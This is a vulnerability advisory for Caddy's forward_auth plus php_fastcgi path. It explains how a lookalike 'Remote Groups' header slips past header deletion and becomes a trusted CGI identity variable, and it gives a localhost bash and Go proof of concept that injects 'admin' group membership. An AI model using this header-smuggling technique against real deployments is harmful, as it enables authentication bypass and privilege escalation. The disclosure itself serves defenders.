PT-2026-50161 · Go · Github.Com/Caddyserver/Caddy+1

Published 2026-06-16 · Updated 2026-06-16 · CVE-2026-52845

OSV

CVSS v3.1

8.1

High

Base vector

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

forward auth copy headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with .

This lets a client send an underscore alias that survives the forward auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups -> HTTP REMOTE GROUPS
Remote Groups -> HTTP REMOTE GROUPS

Remote-User  -> HTTP REMOTE USER
Remote User  -> HTTP REMOTE USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward auth copy headers intentionally removes client-controlled headers before setting values from the auth response:

• modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
• modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

• modules/caddyhttp/headers/headers.go:255
• modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote Groups.

Later, FastCGI exports all request headers into CGI variables:

• modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
• modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
• modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", " ", "-", " ")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>
' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP REMOTE USER=%s
HTTP REMOTE GROUPS=%s
",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward auth 127.0.0.1:19011 {
		uri /auth
		copy headers Remote-User Remote-Groups
	}
	php fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy pid:-}" "${servers pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	  (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP REMOTE USER=alice
HTTP REMOTE GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote Groups: admin
< HTTP/1.1 200 OK

HTTP REMOTE USER=alice
HTTP REMOTE GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP REMOTE USER": "alice"
"HTTP REMOTE GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

• forward auth with copy headers for identity or authorization headers;
• php fastcgi / FastCGI after the auth check;
• a PHP/FastCGI application that trusts the resulting HTTP * variables.

Impact examples:

• deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote Groups: admin becomes HTTP REMOTE GROUPS=admin;
• probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote User both map to HTTP REMOTE USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote user guard using HTTP REMOTE USER, or MediaWiki Auth remoteuser using HTTP X AUTHENTIK USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

Fix

HTTP Request/Response Smuggling

Improper Authentication

Authentication Bypass by Spoofing

Weakness Enumeration

CWE-444

CWE-287

CWE-290

Related Identifiers

CVE-2026-52845

GHSA-F59H-Q822-G45G

Affected Products

Github.Com/Caddyserver/Caddy

Github.Com/Caddyserver/Caddy/V2

References · 3

• https://osv.dev/vulnerability/GHSA-f59h-q822-g45g · Vendor Advisory
• https://github.com/caddyserver/caddy/security/advisories/GHSA-f59h-q822-g45g · Note
• https://github.com/caddyserver/caddy · Note